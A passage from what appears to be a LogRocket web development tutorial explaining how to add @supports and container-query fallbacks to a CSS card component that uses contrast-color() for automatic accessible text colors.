<div class="card" style="--card-bg: #1d9e75; --surface: neutral"> ... </div>

<!-- Destructive -->
<div class="card" style="--card-bg: #d85a30; --surface: destructive"> ... </div>

The text color, tag style, and border weight all come from those two properties. You only need one component and no JavaScript.

See the Pen
Auto-Contrast Component with Modern CSS by Miracle Jude (@JudeIV)
on CodePen.

How do you add fallbacks with `@supports`?

contrast-color() and container style queries don’t fail silently. Browsers that don’t support them just ignore the rules, which leaves elements unstyled. That can mean unreadable text on any background. The fix is simple: write safe base styles first, then add the enhanced behavior on top.

How do you add a fallback for `contrast-color()`?

To protect users on older browser engines, we declare an accessible solid background fallback text color before introducing the feature query block:

/* base: safe for all browsers */
.card__title,
.card__body {
  color: #fff;
}

/* enhanced: use native contrast calculation where supported */
@supports (color: contrast-color(red)) {
  .card__title,
  .card__body {
    color: contrast-color(var(--card-bg));
  }
}

White is the right default if your token palette skews dark. If your palette includes light backgrounds, swap it for #000 or pick the safer value per surface type.

How do you add a fallback for container style queries?

Style queries need no @supports wrapper. Browsers that don’t support @container style() skip those blocks entirely and leave your base styles untouched. So write your fallback as plain base rules:

/* base: neutral treatment for all variants, all browsers */
.card__border {
  background: rgba(255, 255, 255, 0.3);
  height: 1px;
}

.card__tag {
  color: #fff;
  background: transparent;
  border: 1px solid rgba(255, 255, 255, 0.4);
}

/* enhanced: style query blocks override base styles where supported */
@container card style(--surface: neutral) { ... }
@container card style(--surface: brand) { ... }
@container card style(--surface: destructive) { ... }

Browsers that support style queries apply the @container overrides. Browsers that don’t keep the base styles. No feature detection needed.

What do the combined fallbacks look like?

When we pull both techniques together into a unified stylesheet, our baseline styles naturally dictate the layout, allowing modern browser enhancements to apply safely on top:

.card {
  --card-bg: #764abc;
  --surface: neutral;

  background-color: var(--card-bg);
  container-name: card;
  border-radius: 14px;
  padding: 1.25rem;
}

/* fallbacks */
.card__title,
.card__body { color: #fff; }

.card__border {
  background: rgba(255, 255, 255, 0.3);
  height: 1px;
}

.card__tag {
  color: #fff;
  border: 1px solid rgba(255, 255, 255, 0.4);
}

/* enhanced: contrast-color() */
@supports (color: contrast-color(red)) {
  .card__title,
  .card__body {
    color: contrast-color(var(--card-bg));
  }
}

/* enhanced: style queries */
@container card style(--surface: neutral) { ... }
@container card style(--surface: brand) { ... }
@container card style(--surface: destructive) { ... }

Older browsers get a clean, readable card. Browsers that support one feature but not the other get partial enhancement. For example, you might get contrast-color() without style queries, or style queries without contrast-color(). Both combinations still give you a usable result.

Conclusion

The approach in this article isn’t just about two new CSS features. It’s about noticing when JavaScript is solving a problem that the browser can now handle. CSS now handles relative luminance calculations and class-based variant switching. contrast-color() does the contrast math natively at paint time and supports modern color spaces. Container style queries let you keep all variant logic in one place, managed by the same custom property that sets the color.

The result is a card component that:

Picks WCAG-compliant text colors automatically, regardless of what background it receives
Derives borders and tag treatments from the background color using relative color syntax
Branches on surface variants without class toggling or data attributes
Degrades gracefully in browsers that don’t support either feature yet

#css

logrocket-Dev

A deep dive into React Fiber

See how LogRocket's Galileo AI surfaces the most severe issues for you

No signup required

What is React Fiber?

What is React’s stack reconciler?

What is <App />?

Why does React use elements instead of DOM instances?

What is React reconciliation?

What is the React stack reconciler?

How did recursion limit React’s old reconciler?

What is frame rate and why does it cause UI jank?

How does React Fiber work under the hood?

How does the JavaScript execution stack limit rendering?

What is a singly-linked list of fiber nodes?

Type

Key

Child

Sibling

Return

pendingProps and memoizedProps

pendingWorkPriority

Alternate

Output

What happens during React Fiber’s render phase?

workLoopSync()

performUnitOfWork()

beginWork()

Using instance.handleClick()

What happens during React Fiber’s commit phase?

What key features were added to React Fiber since v16?

What is concurrent rendering?

How does suspense work with selective hydration in React?

What are transitions?

How do you use useTransition?

What are asynchronous transitions and actions in React 19?

What is useDeferredValue?

What is the <Activity> component in React 19.2?

How does useSyncExternalStore protect external state in concurrent React?

What is automatic batching?

How does the React Compiler optimize code at build time?

React Fiber vs. React Compiler: Key differences & FAQs

Conclusion

Skybridge: Build ChatGPT apps and MCP connectors

See how LogRocket's Galileo AI surfaces the most severe issues for you

No signup required

Why use Skybridge?

What problem does Skybridge solve?

How does Skybridge speed up MCP app development?

What do you need before using Skybridge?

How do you create a Skybridge project?

What is the Skybridge developer dashboard?

How do you build a ChatGPT app with Skybridge?

How do you create MCP tools in Skybridge?

How do you enable end-to-end type safety in Skybridge?

How do you build a React view in Skybridge?

How do you add more tools to a Skybridge app?

How do you register a book-hotel tool?

How do you register a confirm-booking tool?

How do you create the booking view in Skybridge?

How do you test a Skybridge app?

What are Skybridge’s limitations?

Conclusion

Getting started with Meilisearch: A complete guide

See how LogRocket's Galileo AI surfaces the most severe issues for you

No signup required

What’s changed in Meilisearch?

How do you run Meilisearch?

How do you set up a Meilisearch project?

How do you create an index and add documents in Meilisearch?

How do you search documents in Meilisearch?

How do you update documents in Meilisearch?

How do Meilisearch ranking rules work?

How does hybrid and semantic search work in Meilisearch?

How do you build conversational search and RAG with Meilisearch?

How do you use Meilisearch for merchandising and personalization?

Where does Meilisearch fit in an AI stack?

Conclusion

pnpm vs. npm: Which package manager should you use?

See how LogRocket's Galileo AI surfaces the most severe issues for you

What is `<App />`?

`pendingProps` and `memoizedProps`

`pendingWorkPriority`

`workLoopSync()`

`performUnitOfWork()`

`beginWork()`

Using `instance.handleClick()`

How do you use `useTransition`?

What is `useDeferredValue`?

What is the `<Activity>` component in React 19.2?

How does `useSyncExternalStore` protect external state in concurrent React?

Delaying newly published versions with `minimumReleaseAge`

The practical impact on `node_modules` bloat

Why the `sx={}` prop changes the StyleX comparison

3. The `sx={}` prop everywhere

Compile-time constants with `stylex.env`

Raw inline `@keyframes` did not belong in `stylex.create()`

Falsy values did not work in `sx` arrays